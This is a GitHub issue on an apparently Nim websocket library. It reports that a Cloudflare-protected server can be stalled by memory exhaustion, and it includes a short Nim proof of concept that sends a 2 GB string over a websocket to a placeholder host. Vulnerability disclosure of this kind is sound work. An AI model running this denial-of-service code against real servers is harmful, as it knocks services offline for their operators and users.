Skip to content

Ws server protected by cloudflare vulnerable to simple attack #42

Open
@creikey

Description

@creikey

This code:

import asyncdispatch, asynchttpserver, ws

proc main() {.async.} =
  var ws = await newWebSocket("wss://cloudflare-protected-server.com")

  await ws.send(newString(1024*1024*1024*2))
  echo "sent"
  echo await ws.receiveStrPacket()

  ws.close()

waitFor main()

Will cause the server to allocate gigabytes of memory and stall filling the buffer with the empty data created in newString, cloudflare does not prevent this

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions